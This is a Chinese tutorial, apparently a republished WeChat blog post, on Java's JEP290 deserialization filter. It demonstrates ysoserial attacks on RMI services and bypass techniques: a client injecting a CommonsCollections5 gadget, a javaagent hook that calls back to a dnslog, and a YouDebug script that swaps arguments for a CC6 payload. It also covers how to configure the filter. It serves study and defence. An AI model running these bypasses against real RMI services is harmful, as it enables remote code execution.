Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >JEP290攻防对抗

JEP290攻防对抗

作者头像
Al1ex
发布于 2021-07-21 08:54:49
发布于 2021-07-21 08:54:49
66500
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
JEP290简介

JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Java SE Development Kit 8, Update 121 (JDK 8u121)
Java SE Development Kit 7, Update 131 (JDK 7u131)
Java SE Development Kit 6, Update 141 (JDK 6u141)

JEP290主要做了以下几件事:

  • 提供一个限制反序列化类的机制,白名单或者黑名单
  • 限制反序列化的深度和复杂度
  • 为RMI远程调用对象提供了一个验证类的机制
  • 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
JEP290限制

下面通过一个RMI示例来对JEP290的实际限制做一个简单的介绍:

hello.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String hello() throws RemoteException;
    String hello(String name) throws RemoteException;
    String hello(Object object) throws RemoteException;
}

HelloImpl.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}

RMIServer.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 1099;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            Hello hello = new HelloImpl();
            // 服务命名绑定
            Naming.rebind(RMI_NAME, hello);

            System.out.println("启动RMI服务:" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

之后添加ysoserial.jar到Library,用于提供可用的Gadget:

之后使用JDK7u21启动RMIServer:

之后使用Ysoserial打CC1过去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc

之后使用JDK8u271启动RMIServer:

之后使用Ysoserial打CC1过去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc

发现并没有成功执行命令,错误信息如下所示,可见sun.reflect.annotation.AnnotationInvocationHandler被拒绝:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
十一月 30, 2020 3:25:28 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 297, ex: n/a

日志信息如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: filter status: REJECTED
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(Unknown Source)
        at sun.rmi.transport.StreamRemoteCall.executeCall(Unknown Source)
        at sun.rmi.server.UnicastRef.invoke(Unknown Source)
        at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: filter status: REJECTED
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:94)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:469)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:301)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: filter status: REJECTED
        at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1329)
        at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1994)
        at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1848)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2158)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
        at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2403)
        at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2327)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:91)
        ... 14 mor
JEP290过滤

一个RMI的实现流程如下所示:

在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中,向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis

在readObject中又调用了readObject,之后继续跟进:

然后进入readObject0()

在readObject0()之中进入readOrdinaryObject()

继续进入readClassDesc()

之后进入readProxyDesc()

在readProxyDesc()中有filterCheck

进入filterCheck()之后先检查其所有接口,然后检查对象自身:

在这里调用了serialFilter.checkInput(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (!var2.isArray()) {
    return String.class != var2 && 
        !Number.class.isAssignableFrom(var2) && 
        !Remote.class.isAssignableFrom(var2) && 
        !Proxy.class.isAssignableFrom(var2) && 
        !UnicastRef.class.isAssignableFrom(var2) && 
        !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
        !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
        !ActivationID.class.isAssignableFrom(var2) && 
        !UID.class.isAssignableFrom(var2) 
        ?Status.REJECTED : Status.ALLOWED;
}
JEP290绕过
实现原理

在RMI远程方法调用过程中,方法参数需要先序列化,从本地JVM发送到远程JVM,然后在远程JVM上反序列化,执行完后再将结果序列化,发送回本地JVM,而本地的参数是我们可以控制的,如果向参数中注入gadget会怎么样?

我们在HelloImpl实现了三个hello()方法,分别是void、string、Object类型的参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}

在客户端我们向Object参数类型注入cc5的gadget:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import ysoserial.payloads.CommonsCollections5;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import static RMI.RMIServer.RMI_NAME;

public class RMIClient {
    public static void  main(String[] args){
        try{
            //获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            //获取所有注册的服务
            String[] list = registry.list();
            for (String i:list){
                System.out.println("已注册的服务:"+i);
            }
            
            //寻找RMI_Name对应的RMI实例
            Hello rt = (Hello) Naming.lookup(RMI_NAME);
            
            //调用Server的Hello()方法,并获取返回值
            String result1 = rt.hello();
            String result2 = rt.hello("Al1ex");
            String result3 = rt.hello(new CommonsCollections5().getObject("calc"));
            
            System.out.println(result1);
            System.out.println(result2);
            System.out.println(result3);
            
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

之后启动RMIServer:

之后执行RMIClient,发现可以成功执行载荷:

也就是说如果目标的RMI服务暴漏了Object参数类型的方法,我们就可以注入payload进去,那么其他的参数类型呢?在sun.rmi.server.UnicastRef#unmarshalValue中判断了远程调用方法的参数类型,如果不是基本类型,就进入readObject,之后的流程也走了filterCheck过滤:

由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从Object类派生的参数(例如String),实现方法有:

  1. 将java.rmi软件包的代码复制到新软件包,然后在其中更改代码
  2. 调试器附加到正在运行的客户端,并在序列化对象之前替换对象
  3. 使用Javassist之类的工具更改字节码
  4. 通过实现代理来替换网络流上已经序列化的对象
RASP Hook

RASP(Runtime application self-protection)运行时应用自我保护,将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力,并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可

该方法的原理是通过hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个非Object的参数并将其改为Object的gadget,具体实现代码如下:

https://github.com/Afant1/RemoteObjectInvocationHandler

Step 1:下载代码修改

src\main\java\afanti\rasp\visitor\RemoteObjectInvocationHandlerHookVisitor.java的dnslog地址

Step 2:打包

Step 3:之运行RmiServer

Step 4:运行RmiClient,其中VM options参数填写以下内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-javaagent:C:\Users\Hepta\Desktop\RemoteObjectInvocationHandler\target\rasp-1.0-SNAPSHOT.jar

虽然报错了,但是在DNSLog端成功收到请求:

PS:在JDK8u221版本可以,在最新版本JDK8u271版本无法执行,具体范围有待评估~

动态替换RMI

这里主要使用YouDebug来实现动态替换,原理和之前的RASP Hook一样都是先hook后替换来实现JEP290绕过,在实际场景中大多数接口是不提供接受任意类型对象作为参数的方法的,这时就需要动态替换RMI调用过程中传递的参数值:

Step 1:启动RMIServer

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException {
        try {
            // 定义服务对象
            HelloService helloService = new HelloServiceImpl();
            // 获取注册器,指定查找端口
            Registry reg = LocateRegistry.createRegistry(9999);
            // 注册对象
            reg.bind("HelloService", helloService);
            System.out.println("HelloServiceImpl 已绑定到 Registry ......");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Step 2:将HelloService.java与RMIClient.java两个文件拷贝到test目录下,在该目录下执行以下命令,编译为class文件,并根据包名生成对应目录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javac -encoding UTF-8 -d . *.java

RMIClient.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        //根据ip和端口获取Registry
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        //使用Registry获取远程对象的引用
        HelloService services = (HelloService) registry.lookup("HelloService");
        // 使用远程对象的引用调用对应的方法
        String res = services.sayHello("al1ex");
        System.out.println(res);
    }
}

HelloService.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.RemoteException;

public interface HelloService extends java.rmi.Remote {
    //远程调用方法必须抛出RemoteException异常
    String sayHello(Object obj) throws RemoteException;
    void log(String msg) throws RemoteException;
}

Step 3:以支持远程调试的方式启动RMIClient,因为要使用ysoserial生成payload,所以要将其加入classpath,执行如下命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp ".;ysoserial.jar" al1ex.RMIClient

Step 4:利用YouDebug(http://youdebug.kohsuke.org/)调试器来动态修改参数,YouDebug是一个支持Groovy脚本调试器,可以在java.rmi.server.RemoteObjectInvocationHandler类的invokeRemoteMethod方法中设置断点来修改传递的参数值,如下Groovy脚本即可完成该操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 使用的ysoserial中的payload名称
def payloadName = "CommonsCollections6";
//执行的命令
def payloadCommand = "calc";
//替换的参数值
def needle = "al1ex"
 
println "Loaded..."
 
// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {
  // make sure that the payload class is loaded by the classloader of the debugee
  vm.loadClass("ysoserial.payloads." + payloadName);
  println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"
 
  // get the Array of Objects that were passed as Arguments
  delegate."@2".eachWithIndex { arg,idx ->
    println "[+] Argument " + idx + ": " + arg[0].toString();
    if(arg[0].toString().contains(needle)) {
      println "[+] Needle " + needle + " found, replacing String with payload" 
      def payload = vm._new("ysoserial.payloads." + payloadName);
      def payloadObject = payload.getObject(payloadCommand)
     
      vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
      println "[+] Done.."  
    }
  }
}

之后执行以下命令即可:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar youdebug-1.6.jar -socket 127.0.0.1:8000 barmitzwa.groovy
JEP290拓展
全局过滤器

通过系统属性或配置文件配置全局过滤器:

  • 系统属性:jdk.serialFilter(通过命令行参数"-Djdk.serialFilter="来设置)
  • 配置文件:jdk.serialFilter(位于%JAVA_HOME%/conf/security/java.properties)

例如,我们可以通过以下设置禁止反序列化org.apache.commons.collections包下包括所有子包中的所有类:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
jdk.serialFilter=!org.apache.commons.collections.**

以下是常见的限制属性:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
- maxdepth=value   // the maximum depth of a graph
- maxrefs=value   // the maximum number of the internal references
- maxbytes=value   // the maximum number of bytes in the input stream
- maxarray=value    // the maximum array size allowed

匹配时类/包模式接受星号(*)、双星号(**)、点(.),以及正斜杠(/)符号,下面是一些可能发生的模式场景:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*" 

 // this matches all classes in the package and all subpackages and rejects the rest 
- "jdk.serialFilter=org.example.**;!*" 

// this matches all classes in the package and rejects the rest 
- "jdk.serialFilter=org.example.*;!*" 

 // this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;
内置过滤器

用于RMI注册表和分布式垃圾收集(DGC),这两个内置过滤器均采用白名单方式,仅允许对特定类进行反序列化:

RMIRegistryImpl:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.lang.Number
java.rmi.Remote
java.lang.reflect.Proxy
sun.rmi.server.UnicastRef
sun.rmi.server.RMIClientSocketFactory
sun.rmi.server.RMIServerSocketFactory
java.rmi.activation.ActivationID
java.rmi.server.UID

DGCImpl:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease

除了这些类之外,用户还可以使用sun.rmi.registry.registryFilter和sun.rmi.transport.dgcFilter系统或安全属性添加他们自己的自定义筛选器,其属性模式语法如前一节所述。

自定义过滤器

通过实现ObjectInputFilter接口可以创建自定义过滤器,需重写checkInput(FilterInfo filterInfo)方法如下,该过滤器只允许反序列化String类型的对象,其余类型对象都会REJECTED:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class MyFilter implements ObjectInputFilter {
    final Class<?> clazz = String.class;
    public ObjectInputFilter.Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {
            return Status.ALLOWED;
        } else {
            return Status.REJECTED;
        }
    }
}

在JDK9中可以使用ObjectInputStream.setObjectInputFilter(ObjectInputFilter filter)方法设置自定义过滤器,老版本中可以使用ObjectInputFilter.Config.setObjectInputFilter(ois,new VehicleFilter())方法

参考链接

https://y4er.com/post/bypass-jep290

https://access.redhat.com/blogs/766093/posts/3135411

https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290

https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JRMP通信攻击过程及利用介绍
JRMP(JAVA Remote Method Protocol,即Java远程方法调用协议)是特定于Java技术的、用于查找和引用远程对象的协议,运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol),同时JRMP协议规定了在使用RMI的时候传输的数据中如果包含有JAVA原生序列化数据时,无论是在JRMP的客户端还是服务端,在接收到JRMP协议数据时都会把序列化的数据进行反序列化的话,这就有可能导致反序列化漏洞的产生了
Al1ex
2024/10/18
1480
JRMP通信攻击过程及利用介绍
JAVA安全之JDK8u141版本绕过研究
从JDK8u141开始JEP290中针对RegistryImpl_Skel#dispatch中bind、unbind、rebind操作增加了checkAccess检查,此项检查只允许来源为本地,下面以bind为例:
Al1ex
2024/12/20
1210
JAVA安全之JDK8u141版本绕过研究
一文回顾攻击Java RMI方式
本文首发自安全客:https://www.anquanke.com/post/id/263726
HhhM
2022/08/10
8490
一文回顾攻击Java RMI方式
JAVA安全之RMI命令执行深度刨析
Java RMI(Java Remote Method Invocation)是Java编程语言里一种用于实现远程过程调用的应用程序编程接口,它使客户机上运行的程序可以调用远程服务器上的对象,远程方法调用特性使JAVA编程人员能够在网络环境中分布操作,RMI全部的宗旨就是尽可能简化远程接口对象的使用
Al1ex
2024/12/23
2680
JAVA安全之RMI命令执行深度刨析
java visualvm监控远程服务 原
1、首先确保hostname绑定的不是localhost或者127.0.0.1、0.0.0.0,否则报
尚浩宇
2018/08/17
1.6K0
针对RMI的反序列化攻击
RMI调用由三部分构成:服务端,客户端,注册端。而在RMI传输数据时,数据是以序列化的形式进行传输的,这就意味着RMI调用中存在反序列化的操作,这就给了反序列化攻击可乘之机。
ConsT27
2022/02/11
6400
针对RMI的反序列化攻击
RMI攻击Registry的两种方式
RMI(Remote Method Invocation) :远程方法调用。它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象,要实现RMI,客户端和服务端需要共享同一个接口。
FB客服
2022/11/14
4420
RMI攻击Registry的两种方式
RMI源码分析
sun.rmi.server.UnicastServerRef sun.rmi.server.UnicastRef sun.rmi.server.Util sun.rmi.transport.tcp.TCPEndpoint sun.rmi.transport.LiveRef java.rmi.Naming sun.rmi.registry.RegistryImpl
歪歪梯
2020/06/19
8080
JEP290的基本概念
JDK Enhancement Proposal 简称JEP,是 JDK 增强提议的一个项目,目前索引编号已经达到了JEP415,本文重点来谈谈什么是JEP290,JEP290做了哪些事,JEP290绕过的方法总结等。
p4nda
2023/01/03
6830
JEP290的基本概念
常见问题之Java—— java.util.zip.ZipException: error in opening zip file常见问题之Java—— java.util.zip.ZipExcept
日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系列,这里整理汇总后分享给大家,让其还在深坑中的小伙伴有绳索能爬出来。 同时在这里也欢迎大家把自己遇到的问题留言或私信给我,我看看其能否给大家解决。
cn華少
2021/12/20
4K0
org.springframework.beans.factory.NoSuchBeanDefinitionException: No bean named 'userService' availab
程裕强
2018/01/02
6.4K0
一个离奇的ArrayIndexOutOfBoundsException异常的排查过程
今天同事遇到了一个离奇的ArrayIndexOutOfBoundsException,找我协助定位,定位的过程很有意思,故而记录一下。
用户1516716
2018/12/24
10.1K1
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
之前看了SHIRO-721这个漏洞,然后这个漏洞和SHIRO-550有些关联,在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP exploit,然后又想起了RMI、JNDI、LDAP、JMX、JMS这些词。这些东西也看到了几次,也看过对应的文章,但把他们联想在一起时这些概念又好像交叉了一样容易混淆。网上的一些资料也比较零散与混乱,所以即使以前看过,没有放在一起看的话很容易混淆。下面是对RMI、JNDI、LDAP、JRMP、JMX、JMS一些资料的整理。
Seebug漏洞平台
2019/12/16
4.4K0
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
jar包冲突,通过idea的maven插件排除
发现dubbo自带了spring 是2.x的版本,所以将该排掉就OK了,防止冲突。
逍遥壮士
2021/03/23
9600
Java安全之RMI反序列化
RPC(Remote Procedure Call)远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC的诞生起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题。但随着网络爆炸式的增长,单台服务器已然不满足需求,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用呢?JVM不同,内存地址不同,不可能直接访问调用。由于 RPC 的使用还是过于麻烦,Java RMI 便由此产生。
ph0ebus
2023/05/24
2850
Java安全之RMI反序列化
分析JEP 290机制的Java实现
JEP 290 在 JDK 9 中加入,但在 JDK 6,7,8 一些高版本中也添加了:
FB客服
2022/11/14
7610
分析JEP 290机制的Java实现
反序列化小子捕获器-反制ysoserial
这个反制的场景非常容易想到,因为很多反序列化的漏洞也都有利用到这个流程,只不过现在将其用到了反制上而已。当然这个估计也有很多师傅写过,也不算是个秘密,不过既然白白白师傅最近在星球提到了这个,那就发出来给JB小子们提个醒避避雷吧。
用户7151998
2023/07/24
5720
反序列化小子捕获器-反制ysoserial
源码分析:Java中的Thread的创建和运行
在面试候选人的时候,我有时候会提出这样的一个问题:说说你对Java线程的理解?从这个问题开始,可以考察候选人对并发基础的掌握、对操作系统基本概念的理解,如果遇到对底层有浓厚兴趣的同学,我会抛出另一个问题:Java里的线程和操作系统的线程是什么关系?它们是如何对应的?这两个问题,就是今天这篇文章想讲述的。
阿杜
2018/12/27
1.3K0
Java中的RMI(远程方法调用)
RMI(Remote Method Invocation,远程方法调用)是从java1.1开始实现的,它大大增强了Java开发分布式应用的能力。RMI对接口有着强烈的依赖,在需要创建一个远程对象的时候,我们通过传递一个接口来隐藏基层的实施细节,所以客户得到远程对象的一个句柄时,它们真正得到的是接口句柄,然后本地代码通过接口操作远程对象。通过RMI编写程序可以非常方便的实现分布式Java应用程序。
用户7886150
2020/12/18
1.7K0
Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白
最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。
程序新视界
2021/12/13
1.4K0
Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白
相关推荐
JRMP通信攻击过程及利用介绍
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验